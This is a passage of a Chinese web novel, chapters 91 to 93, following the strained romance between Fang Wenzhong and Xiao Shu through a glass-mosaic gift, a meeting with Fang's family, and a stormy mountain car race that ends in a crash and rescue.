方闻钟捧着一碗粥,抿嘴喝着,有点烫,他在偷偷观察厨房里的萧疏。 萧疏利落地将锅具已经洗好,放置在一旁,出来时,方闻钟迅速回过头,收回自己掩不住高兴的眼神。 萧疏看到自己碗里的粥,多了三颗大枣,“这是给你的。” 方闻钟装傻,“嘿嘿,我,我不爱吃,”就夹给萧疏了。 萧疏二话没说,很快喝干净,“我去学校了,”他跟方闻钟说。 方闻钟一脚跳着,迅速跟过去在他身后替他拿起书包递过去,他总在干无意义的事,但黏在萧疏身边,就会异常快乐,萧疏走了,其实他想问一句话,想问了很久。 “萧疏,我们算是同居了吗?” 他怕萧疏最后给他的答案是‘不是你死乞白赖待着不走的?’。 “萧疏,”他喊住他,“我学会了做新菜,晚上你要来一起吃吗?” 萧疏本来都已经走了,又几步跨上楼梯返回来,他们面面相觑。 萧疏使劲摸了一把方闻钟的头发,方闻钟傻乎乎的满脸笑,第一次厨艺除了犯了些意外的错,不算失败,所以方闻钟觉得他又行了,并在这两天身残志坚,磨刀霍霍,准备再让萧疏亲口吃上一顿他做的大餐! 想法很好,萧疏拒绝。 “别折腾。” 行吧,人又下楼梯了,方闻钟情不自禁哼着歌,就当萧疏心疼他了。 会唱的几句,全是萧疏唱给他听的。 感冒一好,脚也早好了,姐姐打电话,让他学着先管理一个项目,看看以前公司的案例,方闻钟国外上学学的专业,和这方面完全不搭边,当初纯粹看他喜欢,现在有些丈二和尚摸不着头脑,一时不知从何反应思考。 数据抛到一旁,他开车去学校接萧疏。 接到萧疏时,萧疏抱着一块巨大的玻璃,玻璃装在纸盒里,方闻钟问才知道那是一面镜子,他们的建筑模型要用,东西刚到,方闻钟开着车,转头看萧疏忽然拿起他扔在旁边的数据看。 顺嘴说了一句:“我姐姐交给我的任务。” 萧疏轻佻眉,很轻微的动作,但方闻钟注意到了,他看到萧疏扔下东西,彷佛没有一点兴趣。 赶上了晚高峰,方闻钟没开过这么堵的车,有些急躁,前后都是嘀嘀的喇叭声,尤其一个摩托和他擦肩而过,还看着镜子里的他嗤了一口,彷佛在说‘开豪车的也他妈跑不快在挡路’…… 方少爷生气了,但这股怒气没维持太久,只听砰的一声。 坐在前面的两人都重重颠了一下!立马回头! 他们被追尾了。 萧疏在看手里的玻璃,方闻钟起先看车,他和萧疏人倒没事,撞到他们的人也胆颤心惊,一看方闻钟的豪车,人直接吓傻了…… 萧疏定制的那块镜子,碎了。 他皱着眉头,方闻钟很快和撞他车的人解决完此事,要了几百块钱赔偿,放平时这些方闻钟压根不放在眼里,但现在,他就想赶紧解决了,再看萧疏。 将车开回去停好,萧疏兴趣不高,“你去修车吧,不用跟我上去了。” 方闻钟指了指他抱的东西,“对不起啊萧疏,”他讪讪道:“要是我再小心一点就好了,我陪你去买新的吧。” 萧疏摇头,“这是特殊定制,材料也不一样,”花钱的事单独说,但时间上,没个两三天到不了。 方闻钟很自责,尤其他知道,萧疏他们在做的这个建筑模型,很重要,好像是几个人一起在做,要参加一个比赛还是什么的。 “那你们打算怎么办?” 两人一起上楼,萧疏烦躁地说:“再看吧,”明天再商量,也不是他一个人能决定的,转头看方闻钟。 也不怪他。 方闻钟的难受一直消不下去,他没法不有心理负担,尤其萧疏话变少了,在为这件事烦心。 萧疏他们的建筑模型方闻钟看过个大概,现在这面特殊的镜子,应该有独特的使用方式和用意,但方闻钟统统不了解。 镜子彻底碎了,碎成大大小小的残片,倒出来,萧疏皱眉。 他刚洗完澡,语气凉凉的,对方闻钟说:“别碰它!”再弄伤手了不划算。 方闻钟转头,“好。” 这晚萧疏先睡了,方闻钟也睡在他旁边,过一会儿,他翻来覆去有点睡不着,脑子里一个淩乱的想法慢慢成型,“萧疏?” 他轻声叫了一声,然后下床,来到客厅。 玻璃被方闻钟大大小小整理成几堆,他在下面铺垫了一下,然后拿起一小块,不用画草图,某个图案在他脑海里迅速成型,他在成千上百块碎玻璃里,找自己合心意的那一块。 一会儿,正面粘贴去,一会儿,背面粘贴去,它们错落地围在一起,现在还看不出来什么样子。 方闻钟的腿麻了,时间到了深夜,五个小时之后,他的手,细看,红痕一片,又粗糙中带着些粉末,那是磨玻璃边缘磨出来的。 不合适的图形,被他一一打磨,然后放在既定的位置。 当最后一块正面的小玻璃片拼上去,地上的图案栩栩如生,彷佛一下子活过来了!让人见之欣喜赞叹! 那是一个人。 是萧疏。 正面和背面的大小碎玻璃,组成一个有阴影有光亮的人像! 最后一片落下,萧疏的眼睛亮了。 方闻钟笑了,他动了动胳膊,才发现僵硬地实在抬不起来,“嘶——”肌肉骨头都酸痛,动弹不得,他很专心,所以坐了六七个小时,用了一夜的时间,才不间断,把那些碎玻璃“破镜重圆”。 他还给萧疏一面能用的镜子。 还剩下些玻璃,再找一些碎玻璃片,是不是能拼成其他人像? 把他们的图像当做特殊镜子用在建筑模型上,不知是方闻钟的异想天开,还是出奇制胜? 他伸了一下懒腰,一回头,萧疏在他背后喝水。 “你什么时候来的,”方闻钟嗓子微哑,看着拿着水杯的萧疏说,然后立马邀功,“萧疏,反正你也说了这面镜子碎了不能用了,你看现在,这样处理后你们用得到吗?” 萧疏和地上的自己面对面。 那一块块碎玻璃,反射出无数他的影子,和方闻钟的笑脸。 又喝了一口水,方闻钟等急了,萧疏说:“嗯。” 嗯是什么意思?用得到还是用不到啊?他这个创意如何?能帮他们弥补损失吗? “不过其他人的我不会拼,”方闻钟小心翼翼起身,动了动腿,萧疏说:“不用了,不用这个。” “啊?”方闻钟立马不动,脸上却已挂上明显的失望,“哦,好吧,”他摸了摸自己的头,自作多情,他准备去补觉。 萧疏拉住人胳膊,“怎么不全拼正面?”正面每一片镜子都能看到,应该也很漂亮。 方闻钟想都未想说:“你就是这样的啊,会有阴影。”他脑海里的,心里的萧疏,就是这样的,不是每一面都反光,而是藏起来一些,亮起来一些,让人忍不住被吸引陷进去,又被黑暗吞噬或排斥在外。 “很酷,”他最后对萧疏解释,他拼出来的人像,确实很酷,再符合萧疏不过。 萧疏笑了一下,他坐在沙发扶手上,一拉方闻钟,方闻钟没站稳,直接坐在沙发中,陷进去。 一只手还在萧疏手里,被他从上面牵扯着。 萧疏看着那几根磨红的手指,摸了摸,方闻钟麻木,被摸得狠了,好像有点钻心的疼,萧疏刚把他手放下去,从后面揽住他肩膀。 忽然,他被萧疏抬起下巴,萧疏微凉的湿润的嘴唇,粘贴方闻钟。 方闻钟霎时清醒,他被萧疏抵在沙发上,用力亲吻。 “用不了,”学校的模型不值得方闻钟费的这片心意,但可以做他的收藏品。 方闻钟亲手拼的,他自己。【你现在阅读的是 】 90-100 第91章 萧疏打了方闻钟一巴掌。 “啊!”方闻钟的四根手指,被萧疏一一含在嘴里,他才意味不明地说:“脏。” 想扯出来。 萧疏倒是没拒绝,方闻钟的手湿淋淋地从萧疏口中拿出来了,他满面通红。 比刚才萧疏亲他,还让方闻钟觉得激动颤抖。 萧疏不顾他,收拾好他的“礼物”,去学校了。 方闻钟第一次没有追上去送他,他呆呆地坐在沙发上,彻底没了睡意。 他感觉,萧疏其实,也不是不喜欢他,这应该不是他的错觉吧? 萧疏会因为他开心,会因为他生气,一想到他能牵引萧疏的情绪,能让他开心,能让他波动,方闻钟比他和萧疏睡了的快乐,还要来得持久,他竟有一点忍不住,想落泪。 这一晚值了,但一开始,方闻钟并没有抱着一定要得到萧疏的喜欢才去做,他在萧疏睡过的被子,安稳地睡着。 姐姐交给方闻钟的项目数据,最终萧疏看不下去,帮方闻钟看了一点儿,装作不在意地教给他。 方闻钟耐心学了,恰好此时,他要进公司的消息传了出去,一个朋友拉他入夥想和他一起做一件正事。 那朋友就是刘蔚。 刘蔚手里有一个自认为很好的开发项目,苦于没钱,就想拉方闻钟上他的贼船。 项目夸得天花乱坠,刘蔚还说做成了方闻钟姐姐和父母都会对他刮目相看,以后他就有自己的事了,不会再逼着进公司。 方闻钟稍稍有那么点心动,某些方面,刘蔚说到了他心坎里。 但他表面上答应刘蔚答应得好好的,私下里立马将东西给萧疏看,但不是想从萧疏那里取得专业意见,他单纯信任他,想和他分享。 谁料,萧疏看过后,只说:“这样的人你还当做朋友?” 摆明了是坑他钱的。 项目失败了,方闻钟直接损失一大笔,成功了,也会吊着他越投越多,见不到好,成果全是别人的,方闻钟只是听起来好听点。 方闻钟一下睁大眼,虽然没抱多大希望,刘蔚能给他一个绝好的项目想和他合作,但还是没想到,刘蔚纯粹打他家世的算盘。 就仗着他和姐姐不说,不想进公司,摆明了骗他。 方闻钟气急了,磨着萧疏三言两语给他讲清楚里面的门道,他丧气地说:“我果然不适合做这个……” 刘蔚发现方闻钟不理他了,不仅如此,方闻钟还放出消息和他绝交。 急得刘蔚立马上火,这紧要关头,他找人投资呢,方少爷怎么能断了他财路,想来想去,赶紧想腆着脸去给方闻钟道歉,试探试探他什么意思。 可是找方闻钟找不到,最后寻到萧疏这里。 方闻钟冷漠地将人拒之门外,他心直口快,有话就直说了,“你都把我当冤大头了,还指望我什么都不懂往你坑里跳?” 他是比较笨,尤其没有商业头脑,但刘蔚都这样了还妄想骗他,方闻钟又气又恼。 “拿着你的东西滚出去!”他把一沓文档扔刘蔚身上,萧疏站在他身后,看他们两人势如水火。 刘蔚忽然指着萧疏骂方闻钟,“你怕不是被有心人算计了,调拔离间!不知好歹!” 骂完就跑,气得方闻钟差点追出去和他打上一架。 回到家,方闻钟气狠了,断断续续唠叨了好久刘蔚的为人,最后,他抱住路过的萧疏,将头埋进他腹部,“还好有你,”要是没有萧疏帮忙提点一句,方闻钟都不知道他有何后果,父母和姐姐会多失望。 他突然惊了一下,如果他注定在公司做不成什么事,难道以后就模棱两可地混着吗。 总要干点自己喜欢做的事,之前帮萧疏修复镜子,总算让方闻钟找到点他擅长并可以做的事。 他是学艺术鉴赏的,也算得上喜欢,方闻钟脑海里渐渐形成一个还很模糊的想法。 后来姐姐问起数据,方闻钟还给她,说了以后自己的打算,又说了前些时日刘蔚算计他。 “幸好有萧疏,我都没想到他那么坏!” 方言诩听后只是一愣,刘蔚的小打小闹,她不放在眼里,只是第一次听弟弟口中的这个名字,“萧疏?” 要是没有萧疏,方闻钟可能被算计了,可能许久之后才得知真相,会很难过,但现在,仅仅只是有点气愤,长痛不如短痛。 “他就是你男朋友吗?” 方闻钟一僵,很快迅速软和下来,“是啊,姐姐,你要和他见一面吗?”- 方闻钟提出要和萧疏一起去见方言诩,和方言诩吃饭,萧疏手里的杯子猝然一下掉在地上,方闻钟赶紧跑过来,萧疏却淡定地收拾好,回头,“好,”他听到自己这样说。 等这一面,不是等了很久了吗。 临出发前,方闻钟将好久之前,他们第一次在空中餐厅吃饭的那家酒店买下来的车,送给了萧疏。 姐姐报账,给她过目后,方闻钟一直等着各种手续办全,才送给萧疏。 本以为萧疏会很喜欢,毕竟他挑的,价值也不菲,萧疏看到后,却似没有多少喜气,他不懂地挠挠头,算了,反正已经送出去了,他没多想,如时赴约。 方言诩第二次见萧疏,罕见地愣了好久,她把这归结于第一次见他匆匆一面,就记住了这个人,没想到他竟然和方闻钟认识,关系匪浅。 萧疏只是刚来时,盯着方言诩看了几眼,后来就陪在方闻钟身边,当他的挂件男朋友。 方言诩不免多注意他们的相处,尤其方闻钟兴高采烈,十句里面有九句是夸萧疏的,和他有关,他想让姐姐也喜欢萧疏,把自己最开心的人和事分享给姐姐。 方言诩看沉浸其中的方闻钟,知道他很快乐,可是敏锐地察觉到一点气氛不对劲。 萧疏似乎很紧绷,也几乎没有和她对视过,不知道他是紧张还是怎么? 方言诩左右瞧瞧,忽然一凛,他们之间,真是方闻钟描述的那样一片祥和美好吗? 方闻钟很快打断了方言诩的思路,他重新提起以后自己的打算,不进公司了,想继续做艺术鉴赏方面的工作,他们有资本,有资源,足够支撑方闻钟的爱好和梦想。 方言诩微笑,大手一挥,就答应下来方闻钟的要求,还承诺,父母那边她也会帮忙劝。 爸妈那么喜爱他,肯定也不会特意为难,就怕他大学毕业,自己找不到事做。 方闻钟抱住萧疏的胳膊,当着姐姐的面,和萧疏蹭来蹭去,“嘿嘿,萧疏,姐姐很好吧,”他潜台词想告诉萧疏,不用紧张。 萧疏的脸却有一瞬扭曲,尤其听着方闻钟撒娇,方言诩无条件地支持他。 没有打压,没有劝诫,随他喜欢,连他带着一个“男朋友”过来,也给足了体面和友好。 方言诩在公司里可不是这么好说话温柔的,貌似这是方闻钟特供。 方言诩又不由自主将视线落在萧疏身上。 萧疏胳膊旁边挨着方闻钟,右手紧紧攥着杯壁,似乎要把那水杯凭空捏碎,直到方言诩注意地久了,他才挂起微笑,对方闻钟笑笑,然后将他的脑袋往旁边推一点。 这顿饭吃得很愉快,至少方闻钟这么认为,但最后还是被一些人打断,扰了他兴致。 虞千铎身后跟着一批西装革履的人进来时,他下意识望向方言诩这边,想靠近。 他们应该是商业谈判,选了这个地方,虞千铎快速交代了身后之人一番,带着另一个吊儿郎当的,算得上他朋友的人过来。 虞千铎和方言诩匆匆一瞥,忽然看到萧疏。 他和萧疏打招呼,装作不小心碰到,晾着方家两姐弟。 方闻钟看到虞千铎手搭在萧疏肩膀上,和萧疏说话,突然心里一紧,他认出了这个人!在酒吧多次和萧疏见过面! 他们很熟吗? 虞千铎和萧疏寒暄了几句,最后方言诩说‘你们怎么认识的’,他才自然而然转移话题,和方言诩说起来,有虞千铎引导,即使他们不谈论日常,单工作方面,两个总裁也有很多话要说。 不知不觉,方闻钟和萧疏,成了被忽略的工具人。 方闻钟还没发现什么状况,就惦记着虞千铎想和他抢萧疏,并且在姐姐这里也留有好印象。 他一时气不过,吃醋的心思突然淹没了他,酸死了,紧紧抓着萧疏的手,心里难受无比。 “萧疏,你觉得他怎么样?”方闻钟指着站在方言诩旁边的虞千铎。 萧疏明明看出了他吃错,也知晓他有误会,这一刻却什么都不解释,故意说:“很好。” “你很喜欢他?”方闻钟诧异地问。 “嗯,”萧疏肯定,“很喜欢。” 方闻钟鼻子一酸,甩开萧疏的手,他对自己都没说过很喜欢,他看萧疏注视着方言诩和虞千铎两人,手里的水杯水喝完了都没放下,彷佛很认真,很放不下心。 方闻钟压抑极了,心里一疼,让他想都没想就攀上萧疏的肩膀,大喊:“我们要走了!” 方言诩和虞千铎两人看过来时,他立马紧抱住萧疏的腰,“我和我男朋友回去了,姐姐,”他没理虞千铎。 一直站在虞千铎身后的朋友,忽然像发现新大陆,调侃了一句,看着方小少爷,“男朋友?呵。”他笑道:“我怎么听说这是你包养的情人?” 方闻钟紧绷!方言诩和虞千铎顿时皱着眉看过来,他立马拒绝,“才不是,我们感情可好了!你别多嘴!” 他指着不认识的突然多出来的一个人,“不信你问萧疏,”方闻钟看着萧疏,手下面拉着他,眼神里全是等待他认同的祈求,他看起来,有点可怜。 萧疏点头,“我们先走了。” 他率先转身,方闻钟赶紧跟上,不忘跟方言诩告别,白了一眼虞千铎。 在外面等萧疏去卫生间回来时,方闻钟咬着手指,今天怎么回事?为什么会碰上那个男人? 难道萧疏还没忘了他,他们真有什么私交?萧疏也没对他说过。 等不住了,他又跑去卫生间想见萧疏,结果就看到,萧疏正和虞千铎面对面,他们似乎很亲密,两个极高的男人,萧疏好像要拥抱虞千铎,他手抬到他肩膀上,立马又放下。 萧疏和虞千铎告别。 转身,他才看到方闻钟。 而方闻钟满眼怒火,差点就要立马爆炸了,被萧疏拉到车上,他终于忍不住发作,“萧疏,你什么意思!” “你是不是觉得我配不上你,你看上他了啊!” “萧疏,我告诉你!你想都别想!”方闻钟使劲抹着眼睛,眼泪不听话掉下来,他真没面子。 但在这里顾不上面子,他对萧疏的态度有点心慌,今天自从见到姐姐,方闻钟就觉得萧疏对他没之前那么亲密了,不是他的错觉。 他真觉得,萧疏压抑着什么,彷佛一边对他有点意思。 一边又恨不得甩开他,或弄死他。 方闻钟敢用这么激烈的词语,是因为现下萧疏攥住他的胳膊,将他压在靠背上的神情,很恐怖。 方闻钟想亲上去,如果言语解决不了矛盾,那就直接负距离接触。 萧疏在他身上发过火之后,应该会恢复成之前的样子吧。 “啪,”方闻钟的脸被萧疏一掌打偏了。 他眼神碎裂。 “方闻钟,你他妈欠我的,你记住。” 第92章 车祸救下 从虞千铎肩膀上取下来的方言诩的那根头发,还被萧疏攥在手里。 他却忍不住,没离开别人的视线,就在这里甩了方闻钟一耳光。 方闻钟彻底傻了,他动也不动,眼泪停滞在眼眶里,许久未落。 萧疏手抖着,点着一根菸,最终没放进嘴里,他用指尖掐灭,扔进外面垃圾桶,转头对方闻钟说:“要么,下去,带着你所有的东西走。” “要么……” 萧疏还未说,方闻钟就反过来抱住他,把所有眼泪都埋在萧疏怀里擦掉,或任由流干净。 他直接用行动表示,不走,才不走。 不知道萧疏为什么这么生气,这么激动,可却知道,萧疏来真的,要离开他,方闻钟恋爱脑上身,他这么做肯定有缘由,他想等以后萧疏慢慢跟他解释,而不是现在两人立马分开,远离。 萧疏平静下来,和方闻钟一起回去。 这几天,萧疏一直没怎么理方闻钟,反观方闻钟,小心翼翼地看萧疏脸色,直到这晚,萧疏拿到了他和方言诩血缘关系的鉴定书,他们是亲姐弟,回到出租屋,方闻钟正在打电话。 “萧疏,”他试探地说:“我爸妈要回来了,我要回一趟家。” “嗯,”萧疏紧紧盯着他,没说多余挽留的话,方闻钟当天晚上回去,家里很热闹,被父母抱着揉搓了一顿,关心他的近况,姐姐提起他谈恋爱的事,方闻钟立马使眼色,不要先跟爸妈说。 方言诩就住嘴,方闻钟逃离父母的手掌。 夜晚外面还灯火通明,家里主人和佣人都很热闹,方闻钟耳朵里偶尔听着父母在谈论他以后的工作方向,不进公司的事,虽有争吵,但很快过去了,没有当着他面指责他。 他忽然在这里待不下去,心还在萧疏那里。 他匆匆忙忙套了件外套,跟家人说‘朋友有事,出去一趟’,然后就开着车二话不说又来找萧疏。 他本以为萧疏在工作,或者在学习,结果到出租屋发现,萧疏坐在地上,手边摆着两瓶酒,他似乎喝醉了,朝方闻钟看过来的眼神,迷离,像看一个熟悉的陌生人。 快步走过去,才发现萧疏的手机打开着,手机里那张图片一下冲击到方闻钟的眼睛,是他屁股上的心形胎记。 他没想到萧疏会在看这个! 如果他再趁着萧疏喝醉,往后再翻一页萧疏手机里的照片,就会看到萧疏和方言诩的血缘鉴定,再往后……他不是方家的亲儿子,他的父母另有其人,姓萧。 方闻钟关上手机,吃力地将萧疏抬起来,“萧疏,怎么一个人在喝酒?” 他小声问,萧疏忽然抬起手,要将手挂上他脖子。 方闻钟以为萧疏又要甩他耳光,有点应激反应,脖子一缩,谁料下一秒,萧疏藉着他的力道起身,突然把头埋进他脖颈。 萧疏哭了,方闻钟感觉到他冰凉的眼泪落在他皮肤上,心头巨震。 紧接着,萧疏张开嘴,一口狠狠咬上他的脖子。 萧疏尝到了血和泪的味道。 方闻钟没有躲,他下意识觉得萧疏心情不好,在求救,在发泄。 被拖到床上激烈运动时,他都这样想,从头到尾没有反抗,甚至主动配合,由着萧疏肆意妄为。 折腾得有些厉害,方闻钟受伤了。 结束之后,萧疏问起方闻钟,“怎么回来了?” 方闻钟只看萧疏的眼神就知道,萧疏没打算对他说他最近怎么了,他乖巧地摆摆头,柔软的发顶蹭在萧疏下巴上。 “我想你,离不开你。” “方闻钟,”萧疏忽然问了一个很突兀的问题,“你很爱我吗?为了和我在一起,如果放弃你所有看重的东西,你愿意吗?” 方闻钟偏头,试图想这个假设,他爱萧疏,这点毋庸置疑,甚至方闻钟觉得,和萧疏在一起的这些日子,他慢慢地不像自己了,放弃所有看重的东西?比如什么? 他大言不惭地给萧疏答案:“愿意。” 萧疏显然没信,冷淡地嗤了一声,然后离开方闻钟,下床。 方闻钟身上留了萧疏昨晚亲出来或掐出来的印子,脖子里就有两枚。 好巧不巧,第二天,方闻钟就和萧疏在外面遇到了自己父母。 方父方母看着站在一起身高囧立的两个男人,一时傻眼,方闻钟脖子上的痕迹不做他想,欢爱过的太明显。 方父紧握住方母颤抖的手,方母激动道:“你给我回家!” 爸妈生气了,方闻钟还没坚持,萧疏已经松开了他的手,他往后望,萧疏低头,下巴埋进阴影里,一双璀璨的眼睛,忽然只剩无机质的冰冷。 “萧疏,”方闻钟被勒令回家,还不忘给萧疏打招呼,告别。 他想告诉萧疏,没事,他很快就会出来的,父母不会真反对他,他稍微解释一下就好了。 但其他的话都没说出口。 方母方父拉走方闻钟,最后看了萧疏一眼,在萧疏冷漠的注视下,他们愣是没把防备猜忌的神情表现出来,反而有点心慌慌地不知怎么落荒而逃。 “奇了怪了,”方母攥着手掌轻拍了一下,想把萧疏的身影晃出去。 方闻钟果然没有食言,他很快搞定了父母重新来找萧疏,再三跟爸妈解释,他们在好好谈恋爱,萧疏人也很好,姐姐都同意了。 父母两人看向方言诩,方言诩迟疑了一下,点头,“萧疏是不错。” “看吧,”方闻钟很开心,“你们就不要阻止我了,我不会乱来的……” “好……”最后他被家人放出来了,留下家里心不在焉的双亲,和不知道在想什么的姐姐。 方闻钟开着一辆新跑车,迎接萧疏,却不知道,萧疏却用那辆他送他的赛车,计画着一场惊天动地的试探。 后备箱打开,方闻钟看到萧疏车里有一幅画,开心地差点在他们学校门口就跳起来,那是一副玻璃画作。 以前方闻钟用碎片拼了萧疏,现在萧疏也拼了一副他的人像,两个人粘在一起。 挂在墙上肯定好看极了! 方闻钟这样想,激动地抱住萧疏脖子,要不是萧疏制止他,他能当着很多人的面原地亲吻萧疏十分钟。 “我不会这个,找别人拼的,”萧疏说。 方闻钟点点头,“很好看!很像我!”是不是萧疏亲自拼的不重要,重要的是萧疏有这份心意,画板被他小心翼翼地抱起来,他没出息地抽鼻子,他和萧疏的矛盾,终于解开了。 萧疏不生气了,萧疏肯定和自己喜欢他一样喜欢自己。 方闻钟在碎片玻璃里,看到一张张自己喜笑颜开,满含热泪的脸,“萧疏!我们回家吧!” 出租屋也算家,萧疏没有反驳他。 方闻钟高兴极了。 床上,朋友们约方闻钟明天一起去山上玩赛车,场地他们早熟悉,方闻钟也技痒了,杨钧泽无所谓:“去呗,正好爽一爽。” 何煜不会,却叫得最凶,“方闻钟,你给我来!”他都好长时间没见过人了,方少爷跟隐居了似的,缠在萧疏身边忘了他们这些朋友……何煜翻白眼。 “好好好,”方闻钟在萧疏点头后,笑着回他们。 萧疏还说:“明天我也一起去?”正好他开方闻钟送他的那辆。 那方闻钟肯定点头答应,并兴致勃勃地拉住萧疏,“你开慢点,我可以教你。” 萧疏不置可否。 第二天,一辆红色的和一辆银色的跑车先后到达山顶,众人看到方闻钟不奇怪,看到后边车上下来的人,一时嫉妒加震惊。 有些人就是有那本事,明明不属于他们这个阶层,可从车里下来,愣是比他们还像回事儿,富二代们被萧疏惊艳到了,暗戳戳一问,那辆车方闻钟送他了,顿时又不知该做什么表情。 连何煜和杨钧泽都怔愣了一瞬。 何煜立马抓住方闻钟,“待会儿我坐你的车啊,”他想把方闻钟和萧疏短暂隔开。 方闻钟却摆手,“不行,我开得太快了,你又会吐……” 何煜僵硬,被杨钧泽一把扯过去,“你还是老老实实跟着我体验一把吧,今天就让方少好好玩儿,我照顾着你的情绪。” 何煜只好识趣。 方闻钟看萧疏,“你要和我一起吗?” 萧疏拒绝了,“我先在这里等你,过一会儿再玩。” “那好吧,”方闻钟看到萧疏递过来的宠溺温和的眼神,信心满满,心想待会儿一定要大展身手,大出风头!把其他人都比下去!在萧疏面前帅气地亮相! 他像一个急着展示自己的孔雀,最后换好衣服和头盔后,坐进车里,按下车窗对车后的萧疏摆手,“萧疏!等我!我一定会赢!” 他哈哈大笑! 萧疏摆手,“希望是你赢,方闻钟。”他一字一句呢喃,说着别人都听不懂的其他意思。 惊雷乍响! 乌云密布! 这鬼天气突然像阎王翻脸一样,前面还晴晃晃的,突然一百八十度大转弯。 这天气很不适合赛车,还停留在原地的人已经脸上挂上郑重的表情,在豆大的雨滴落下来时,迅速转换成担心。 当雨滴变成雨帘,遮挡住眼前的视线,杨钧泽和何煜都慌了,第一梯队只有四辆车,其中就有方闻钟,他们和萧疏一样,还在等着待会儿上场,谁都没想到,短短几十分钟后,天气突变。 这会儿,方闻钟他们的车,肯定已经到半山腰。 而那里,是出了名了死亡回旋,就是数不清的大转弯! 山路!暴雨!加上斜坡转弯,赛车一时降不下来速度,有多危险可想而知。 很多人都有些慌,非常担心,何煜和杨钧泽已经联系着人救援了,而出去的方闻钟他们现在都联系不到,不知是不是信号问题,只能在监控上看到四个红点,几乎都以极快的速度在盘旋移动,不知现在是否还可控。 他们祈祷着这四人赶紧停下来,而很快,果然有两辆车停了。 还有一辆,速度变慢,正在查找时机和地点。 可其中不包括方闻钟,方闻钟的车子明显在打滑,监控里眼睁睁看着他从大路上冲出去,开到了一条山上的小路,而路的尽头或四周! 都是悬崖! “萧疏呢?”忽然有人问,何煜他们才发现,从刚才变天开始,萧疏好像突然趁着他们忙碌,人不见了。 他的车也不在。 “就他妈会添乱!”不知是谁诅咒了一句,这帮人玩归玩,真不想出人命。 方闻钟紧紧控制着方向盘,轮胎剧烈摩擦,打滑!暴雨让他的视线非常模糊,只看到眼前的小路雾气弥漫,雨滴像帘,路上的石子震得车左右颠簸。 他已经尽可能减速了,可还是一时半会儿降不下来,他眼睛机警地四周转动,想找到适合紧急制动的场地,刚才要不是躲山上落下来的一块巨石,方闻钟不会突兀地改变路径,冲上这条不知道前途的小路。 全是陡峭的下坡,他感觉自己在寻死。 想到这个念头时,他第一反应竟是在山顶等他的萧疏。 还好,还好萧疏没坐他车。 方闻钟惨笑了一下,咬死了嘴唇,最后拼一把,他还不甘心!不甘心就那样丢下萧疏,前途未卜,他拼了命前倾着看四周,手下在紧张地操纵,可这场说变就变的天,说来就来的大雨,好像见不得他和萧疏突然和好。 硬生生要把他们分开似的,方闻钟心越来越沉,他意识到自己结果可能不会太好了。 刹车失灵,从刚才就不灵敏的刹车,彻底罢工,断了方闻钟最后一丝念头。 方闻钟脸上挂着一滴冰凉的泪,他的眼将闭未闭时,忽然看到左前方有一辆银色的车从另一条小路上斜插着向他这边冲过来。 方闻钟都以为那辆玩具似的小跑车,在庞大的大自然面前,跟玩闹似的,应该是他的错觉吧。 不然怎么会看不清,不然怎么会这么像他的幻想。 可银色跑车,还是划破雨帘,划破巨物,在方闻钟耳朵里,传来亲切的属于它的声音。 真是另一辆车来了! 而车里坐着的人,方闻钟剧烈地一抖。 “萧疏!萧疏!回去!”他颤抖着嘶吼,哪怕萧疏可能压根听不到他在喊什么。 方闻钟痛哭流涕,刚才都忍着只掉了一滴泪的人,现在知道萧疏开车来救他了,死活不要,死活要一切都是他在妄想!萧疏才不要来救他!陪他一起寻死! 凭什么,凭什么他想玩赛车,最后要萧疏和他一起承担后果。 “萧疏,”他嘶哑着已经叫不出来声音。 下一秒,一声巨响! 他彷佛看到了对面驾驶位上那个镇定的却孤注一掷的男人。 他们的视线里,都只有对方。 天旋地转,两辆车一起翻倒。 第93章 致命爱人 方闻钟被萧疏从半悬在悬崖边上的车中拉出来时,红色的跑车终于失衡,在雨幕中,几个翻滚下去,就不见了身影,而银灰色的跑车,早撞坏在一旁,背部趴在地上。 刚才,要不是萧疏紧急撞过来,他肯定会连车带人一起摔下不见底的悬崖的! 小路走到头了!就是突兀的横截面!方闻钟惊恐地被萧疏拉出来时,手还剧烈地抖动,他的手被萧疏捏白了,这会儿方闻钟却像感觉不到痛。 两个人紧紧握着,一时狼狈地看着眼前。 雨滴冲刷着他们的脸颊,碎发贴在脸上,浑身冰冷,方闻钟身体里凉透的血液,一点点复苏,然后就是失魂落魄。 他劫后余生地突然抱住萧疏,萧疏也任由他抱紧,方闻钟忽然抬头。 凶狠又绝望地亲上萧疏的嘴唇。 他从未这么用力过,从未这么粗暴过,彷佛眼前的,不是他的救命恩人,而是仇人。 萧疏刚开始还比较平静,后来也同样的力道和表情吻上方闻钟,等方闻钟开始窒息,等他开始喘不过气来胸中剧痛,嘴巴也麻木,两个人突然推搡放开,纷纷吸气。 雨滴一点没小,等两人喘够时,方闻钟忽然笑了一下。 这么大的雨,完美地掩饰了他的眼泪,方闻钟抓住萧疏的手。 恰好此时萧疏也伸过来手,两个人重新紧紧抓住,一直往上面跑,他们要找个地方躲雨,不然这会儿会有落石,小路又滑,很危险。 萧疏滑了一下,落后了一步,大掌迅速地撑在地上,吓得方闻钟急急变脸,赶紧来抱他,见到没事,才敢呼吸。 萧疏起身,没走几步,方闻钟又滑了一下。 萧疏一把将人提起来,“注意力集中一点,不要走神。”萧疏跟他说了第一句话。 方闻钟才机械地快速点头,然后就是再也忍不住的热泪。 他心里急切地喊:“萧疏,萧疏。”嘴上却一句没说。 直到两人爬了好久,终于在一处大石底下,找到了能短暂避雨的地方。 石头往里竟然有一个能容纳一两人的小洞,刚好够他们蹲着,两人窝在一起,方闻钟才看向萧疏,“你,有没有受伤。” 他说话很哑,表情异常紧绷,不知道的以为受重伤的是他自己。 “没有,”萧疏回,虽然两辆车撞了,但幸运的是,他们只是有点晕,萧疏的手擦破了点皮,方闻钟完好无损。 方闻钟抱着萧疏的手,心疼地直掉眼泪,他还没从萧疏救他的场景中回过神来,情况太危机,时间太紧迫,而外面,又是暴雨连天,他们躲在方寸之地,方闻钟的心砰砰极速地跳,一会儿又像坏了似的,停滞了,不动了。 他害怕一切都是他的幻觉,手中的另一只手温度太真实。 方闻钟开始后怕。 他把脸埋在萧疏的手里,哭着将他的手擦干净,情绪一点点,恢复正常。 “萧疏,”他瘪着嘴,终于忍不住,抱在萧疏怀里,大哭起来,“你,你为什么要来!有多危险你知不知道,我,我又没事,以后你不许这样了,你不要来救我……” 他凄厉又嘶哑的嗓音断断续续,听在萧疏耳朵里,混合著各种杂音,要萧疏仔细辨别,认真拼猜,才能明白他说的是什么。 萧疏被人抱着,他怀里抱着方闻钟,也开始变脸,情绪复杂。 他有把握完全救下方闻钟吗?没有。 